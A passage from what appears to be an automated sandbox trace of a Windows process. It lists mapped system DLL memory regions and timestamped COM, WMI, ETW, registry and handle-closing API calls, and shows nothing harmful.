0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 10237 start_va = 0x1b0f0000 end_va = 0x1b100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 10238 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 10239 start_va = 0x1b0f0000 end_va = 0x1b100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 10240 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 10241 start_va = 0x1b0f0000 end_va = 0x1b100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 10242 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 10243 start_va = 0x1b0f0000 end_va = 0x1b100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 10244 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 10245 start_va = 0x1b0f0000 end_va = 0x1b100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 10246 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 10247 start_va = 0x1b0f0000 end_va = 0x1b100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 10248 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 10249 start_va = 0x1b0f0000 end_va = 0x1b100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 10250 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 10251 start_va = 0x1b0f0000 end_va = 0x1b100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 10252 start_va = 0x1b0e0000 end_va = 0x1b0e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 10253 start_va = 0x1b0f0000 end_va = 0x1b100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 10254 start_va = 0x1b0e0000 end_va = 0x1b151fff monitored = 0 entry_point = 0x1b137000 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 10255 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 10256 start_va = 0x1b0e0000 end_va = 0x1b151fff monitored = 0 entry_point = 0x1b137000 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 10257 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 10258 start_va = 0x1b0e0000 end_va = 0x1b0f8fff monitored = 0 entry_point = 0x1b0eb610 region_type = mapped_file name = "eqossnap.dll" filename = "\\Windows\\System32\\eqossnap.dll" (normalized: "c:\\windows\\system32\\eqossnap.dll") Region: id = 10259 start_va = 0x1b100000 end_va = 0x1b105fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eqossnap.dll.mui" filename = "\\Windows\\System32\\en-US\\eqossnap.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\eqossnap.dll.mui") Region: id = 10260 start_va = 0x1b0e0000 end_va = 0x1b0f8fff monitored = 0 entry_point = 0x1b0eb610 region_type = mapped_file name = "eqossnap.dll" filename = "\\Windows\\System32\\eqossnap.dll" (normalized: "c:\\windows\\system32\\eqossnap.dll") Region: id = 10261 start_va = 0x1b100000 end_va = 0x1b105fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eqossnap.dll.mui" filename = "\\Windows\\System32\\en-US\\eqossnap.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\eqossnap.dll.mui") Region: id = 10262 start_va = 0x1b0e0000 end_va = 0x1b0e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 10263 start_va = 0x1edb0000 end_va = 0x1ef98fff monitored = 0 entry_point = 0x1edb15f0 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 10264 start_va = 0x1b0e0000 end_va = 0x1b0e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 10265 start_va = 0x1edb0000 end_va = 0x1ef98fff monitored = 0 entry_point = 0x1edb15f0 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 10266 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 10267 start_va = 0x1b100000 end_va = 0x1b159fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 10268 start_va = 0x1b0e0000 end_va = 0x1b0f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 10269 start_va = 0x1b100000 end_va = 0x1b159fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 10270 start_va = 0x1b0e0000 end_va = 0x1b1bffff monitored = 0 entry_point = 0x1b172eb0 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 10271 start_va = 0x1b9d0000 end_va = 0x1b9d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 10272 start_va = 0x1b0e0000 end_va = 0x1b1bffff monitored = 0 entry_point = 0x1b172eb0 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 10273 start_va = 0x1b9d0000 end_va = 0x1b9d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 10274 start_va = 0x7ffa71650000 end_va = 0x7ffa7165dfff monitored = 0 entry_point = 0x7ffa71652b10 region_type = mapped_file name = "perfos.dll" filename = "\\Windows\\System32\\perfos.dll" (normalized: "c:\\windows\\system32\\perfos.dll") Region: id = 10275 start_va = 0x7ffa71160000 end_va = 0x7ffa7116ffff monitored = 0 entry_point = 0x7ffa71165870 region_type = mapped_file name = "perfdisk.dll" filename = "\\Windows\\System32\\perfdisk.dll" (normalized: "c:\\windows\\system32\\perfdisk.dll") Region: id = 10276 start_va = 0x7ffa74af0000 end_va = 0x7ffa74b00fff monitored = 0 entry_point = 0x7ffa74af3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 10277 start_va = 0x1edb0000 end_va = 0x1eeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001edb0000" filename = "" Region: id = 10279 start_va = 0x1b0e0000 end_va = 0x1b0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0e0000" filename = "" Region: id = 10280 start_va = 0x1b0f0000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0f0000" filename = "" Thread: id = 216 os_tid = 0xd10 [0138.983] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0139.223] RoInitialize () returned 0x1 [0139.223] RoUninitialize () returned 0x0 [0140.440] WindowsCreateStringReference () returned 0x0 [0140.440] RoGetActivationFactory () returned 0x0 [0140.452] QueryInterface () returned 0x0 [0140.452] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0140.452] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0140.452] QueryInterface () returned 0x0 [0140.452] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::GetRuntimeClassName () returned 0x8000000e [0140.452] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0140.453] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::AddRef () returned 0x4 [0140.453] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0140.453] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0140.453] Release () returned 0x4 [0140.453] CoGetContextToken (in: pToken=0x14cc40 | out: pToken=0x14cc40) returned 0x0 [0140.453] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0140.453] CoGetContextToken (in: pToken=0x14ce90 | out: pToken=0x14ce90) returned 0x0 [0140.453] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0140.453] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x4 [0140.453] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0140.453] WindowsDeleteString () returned 0x0 [0140.453] Release () returned 0x2 [0140.453] CoGetContextToken (in: pToken=0x14d8b0 | out: pToken=0x14d8b0) returned 0x0 [0140.454] CoGetContextToken (in: pToken=0x14d7b0 | out: pToken=0x14d7b0) returned 0x0 [0140.454] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0140.454] AddRef () returned 0x4 [0140.454] Release () returned 0x3 [0140.466] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::add_TracingStatusChanged () returned 0x0 [0140.579] GenericStreamBase::Write () returned 0x0 [0140.579] GenericStreamBase::Write () returned 0x0 [0140.580] CoCreateGuid (in: pguid=0x7ffa5f21e6a0 | out: pguid=0x7ffa5f21e6a0*(Data1=0xb3ecc83f, Data2=0xde68, Data3=0x4b36, Data4=([0]=0xb2, [1]=0x44, [2]=0x31, [3]=0x6d, [4]=0x9f, [5]=0x9, [6]=0x23, [7]=0x97))) returned 0x0 [0140.580] GenericStreamBase::Write () returned 0x0 [0140.583] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0140.583] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x3 [0140.583] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0140.583] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0140.584] Release () returned 0x3 [0140.584] CoGetContextToken (in: pToken=0x14c9f0 | out: pToken=0x14c9f0) returned 0x0 [0140.584] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0140.585] WindowsCreateString () returned 0x0 [0140.585] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x4 [0140.586] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x3 [0140.586] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::get_Enabled () returned 0x0 [0140.597] EtwEventRegister () returned 0x0 [0140.601] EtwEventSetInformation () returned 0x0 [0140.603] EtwEventRegister () returned 0x0 [0140.603] EtwEventSetInformation () returned 0x0 [0140.671] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x465070*=0x184, lpdwindex=0x14e584 | out: lpdwindex=0x14e584) returned 0x0 [0140.675] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x4cf960*=0x2d4, lpdwindex=0x14e274 | out: lpdwindex=0x14e274) returned 0x0 [0140.708] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x465070*=0x184, lpdwindex=0x14e584 | out: lpdwindex=0x14e584) returned 0x0 [0141.764] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x4cf9b0*=0x2e4, lpdwindex=0x14e274 | out: lpdwindex=0x14e274) returned 0x0 [0141.801] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x465070*=0x184, lpdwindex=0x14e584 | out: lpdwindex=0x14e584) returned 0x0 [0141.830] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x4cfa00*=0x2fc, lpdwindex=0x14e274 | out: lpdwindex=0x14e274) returned 0x0 [0141.848] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x465070*=0x184, lpdwindex=0x14e584 | out: lpdwindex=0x14e584) returned 0x0 [0210.513] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x4cfa50*=0xb10, lpdwindex=0x14e274 | out: lpdwindex=0x14e274) returned 0x0 [0210.515] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x440e00*=0x110, lpdwindex=0x14ee54) Thread: id = 217 os_tid = 0xba0 Thread: id = 218 os_tid = 0x888 Thread: id = 219 os_tid = 0xa7c [0139.255] CoGetContextToken (in: pToken=0x1a89f890 | out: pToken=0x1a89f890) returned 0x800401f0 [0139.256] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0139.256] RoInitialize () returned 0x1 [0139.256] RoUninitialize () returned 0x0 [0143.661] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0143.661] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0143.661] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x1 [0143.661] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x0 [0143.663] CloseHandle (hObject=0x314) returned 1 [0143.663] CloseHandle (hObject=0x320) returned 1 [0143.663] CloseHandle (hObject=0x310) returned 1 [0143.663] CloseHandle (hObject=0x30c) returned 1 [0143.664] CloseHandle (hObject=0x31c) returned 1 [0143.664] CloseHandle (hObject=0x324) returned 1 [0143.664] CloseHandle (hObject=0x318) returned 1 [0143.664] CloseHandle (hObject=0x308) returned 1 [0154.319] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0154.319] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0154.319] WbemLocator:IUnknown:Release (This=0x1b2d7140) returned 0x1 [0154.319] WbemLocator:IUnknown:Release (This=0x1b2d7140) returned 0x0 [0158.102] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0158.102] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.103] WbemDefPath:IUnknown:Release (This=0x4f2f80) returned 0x1 [0158.103] WbemDefPath:IUnknown:Release (This=0x4f2f80) returned 0x0 [0158.103] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.103] WbemDefPath:IUnknown:Release (This=0x4f4600) returned 0x1 [0158.103] WbemDefPath:IUnknown:Release (This=0x4f4600) returned 0x0 [0158.103] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.103] WbemDefPath:IUnknown:Release (This=0x4f3100) returned 0x1 [0158.103] WbemDefPath:IUnknown:Release (This=0x4f3100) returned 0x0 [0158.103] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.103] WbemDefPath:IUnknown:Release (This=0x4f3dc0) returned 0x1 [0158.103] WbemDefPath:IUnknown:Release (This=0x4f3dc0) returned 0x0 [0158.103] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.103] WbemDefPath:IUnknown:Release (This=0x4f3e80) returned 0x1 [0158.103] WbemDefPath:IUnknown:Release (This=0x4f3e80) returned 0x0 [0158.103] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0158.103] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.103] WbemLocator:IUnknown:Release (This=0x1b33d060) returned 0x1 [0158.103] WbemLocator:IUnknown:Release (This=0x1b33d060) returned 0x0 [0158.103] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.104] IUnknown:Release (This=0x1b349870) returned 0x2 [0158.104] IUnknown:Release (This=0x1b349870) returned 0x1 [0158.104] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.104] WbemLocator:IUnknown:Release (This=0x1b33c640) returned 0x1 [0158.104] WbemLocator:IUnknown:Release (This=0x1b33c640) returned 0x0 [0158.104] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.104] IUnknown:Release (This=0x1b349b20) returned 0x2 [0158.104] IUnknown:Release (This=0x1b349b20) returned 0x1 [0158.104] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.104] WbemLocator:IUnknown:Release (This=0x1b33cb60) returned 0x1 [0158.104] WbemLocator:IUnknown:Release (This=0x1b33cb60) returned 0x0 [0158.104] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.104] IUnknown:Release (This=0x1b349dd0) returned 0x2 [0158.104] IUnknown:Release (This=0x1b349dd0) returned 0x1 [0158.104] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.104] WbemLocator:IUnknown:Release (This=0x1b320e60) returned 0x1 [0158.104] WbemLocator:IUnknown:Release (This=0x1b320e60) returned 0x0 [0158.104] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.104] IUnknown:Release (This=0x1b34a5e0) returned 0x2 [0158.104] IUnknown:Release (This=0x1b34a5e0) returned 0x1 [0158.105] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.105] WbemLocator:IUnknown:Release (This=0x1b3211a0) returned 0x1 [0158.105] WbemLocator:IUnknown:Release (This=0x1b3211a0) returned 0x0 [0158.105] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.105] WbemLocator:IUnknown:Release (This=0x1b320500) returned 0x1 [0158.105] WbemLocator:IUnknown:Release (This=0x1b320500) returned 0x0 [0158.105] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0158.105] IUnknown:Release (This=0x5207e0) returned 0x2 [0158.105] IUnknown:Release (This=0x5207e0) returned 0x1 [0158.131] IUnknown:Release (This=0x5207e0) returned 0x0 [0158.131] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0158.131] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x1 [0158.131] IUnknown:Release (This=0x1b2e0d00) returned 0x0 [0158.134] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0158.134] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0158.134] IUnknown:Release (This=0x1b34c270) returned 0x0 [0158.136] IUnknown:Release (This=0x1b34a5e0) returned 0x0 [0158.136] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0158.136] WbemLocator:IUnknown:Release (This=0x1b351528) returned 0x1 [0158.136] IUnknown:Release (This=0x1b315e50) returned 0x0 [0158.137] IUnknown:Release (This=0x1b349dd0) returned 0x0 [0158.137] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0158.137] WbemLocator:IUnknown:Release (This=0x1b351ba8) returned 0x1 [0158.137] IUnknown:Release (This=0x1b30efb0) returned 0x0 [0158.138] IUnknown:Release (This=0x1b349b20) returned 0x0 [0158.139] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0158.139] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x1 [0158.139] IUnknown:Release (This=0x1b348a30) returned 0x0 [0158.140] IUnknown:Release (This=0x1b349870) returned 0x0 [0158.140] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0158.140] WbemLocator:IUnknown:Release (This=0x1b2cbdf8) returned 0x1 [0158.140] IUnknown:Release (This=0x1b2e17e0) returned 0x0 [0158.141] RegCloseKey (hKey=0x48c) returned 0x0 [0158.141] RegCloseKey (hKey=0x490) returned 0x0 [0160.045] RegCloseKey (hKey=0x550) returned 0x0 [0171.507] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0171.507] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.507] WbemLocator:IUnknown:Release (This=0x1b2cbf98) returned 0x1 [0171.508] WbemLocator:IUnknown:Release (This=0x1b3418b0) returned 0x0 [0171.744] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.744] IUnknown:Release (This=0x1b349310) returned 0x2 [0171.744] IUnknown:Release (This=0x1b349310) returned 0x1 [0171.744] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.744] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x1 [0171.744] WbemLocator:IUnknown:Release (This=0x1b341f70) returned 0x0 [0171.745] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.745] WbemLocator:IUnknown:Release (This=0x1b351ee8) returned 0x1 [0171.746] WbemLocator:IUnknown:Release (This=0x1b340f20) returned 0x0 [0171.748] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.748] WbemLocator:IUnknown:Release (This=0x1b3523c8) returned 0x1 [0171.749] WbemLocator:IUnknown:Release (This=0x1b341310) returned 0x0 [0171.750] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.750] WbemLocator:IUnknown:Release (This=0x1b352568) returned 0x1 [0171.750] WbemLocator:IUnknown:Release (This=0x1b340860) returned 0x0 [0171.751] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.751] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0171.751] WbemLocator:IUnknown:Release (This=0x1b341a60) returned 0x0 [0171.752] CoGetContextToken (in: pToken=0x1a89f8d0 | out: pToken=0x1a89f8d0) returned 0x0 [0171.752] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.752] WbemDefPath:IUnknown:Release (This=0x4f2bc0) returned 0x1 [0171.752] WbemDefPath:IUnknown:Release (This=0x4f2bc0) returned 0x0 [0171.752] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.753] WbemDefPath:IUnknown:Release (This=0x4f3280) returned 0x1 [0171.753] WbemDefPath:IUnknown:Release (This=0x4f3280) returned 0x0 [0171.753] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.753] WbemDefPath:IUnknown:Release (This=0x4f4240) returned 0x1 [0171.753] WbemDefPath:IUnknown:Release (This=0x4f4240) returned 0x0 [0171.753] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.753] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x1 [0171.753] WbemDefPath:IUnknown:Release (This=0x4f3c40) returned 0x0 [0171.753] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.753] WbemDefPath:IUnknown:Release (This=0x4f2c80) returned 0x1 [0171.753] WbemDefPath:IUnknown:Release (This=0x4f2c80) returned 0x0 [0171.753] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.753] WbemDefPath:IUnknown:Release (This=0x4f2e00) returned 0x1 [0171.753] WbemDefPath:IUnknown:Release (This=0x4f2e00) returned 0x0 [0171.754] CoGetContextToken (in: pToken=0x1a89f7d0 | out: pToken=0x1a89f7d0) returned 0x0 [0171.754] WbemDefPath:IUnknown:Release (This=0x4f37c0) returned 0x1 [0171.754] WbemDefPath:IUnknown:Release (This=0x4f37c0) returned 0x0 [0171.783] IUnknown:Release (This=0x1b349310) returned 0x0 [0171.783] CoGetContextToken (in: pToken=0x1a89f4f0 | out: pToken=0x1a89f4f0) returned 0x0 [0171.783] WbemLocator:IUnknown:Release (This=0x1b2cc2d8) returned 0x1 [0171.783] IUnknown:Release (This=0x1b316060) returned 0x0 [0171.790] CloseHandle (hObject=0x7cc) returned 1 [0171.791] CloseHandle (hObject=0x6d4) returned 1 [0171.791] CloseHandle (hObject=0x6d8) returned 1 [0171.791] CloseHandle (hObject=0x7c8) returned 1 [0171.792] CloseHandle (hObject=0x30c) returned 1 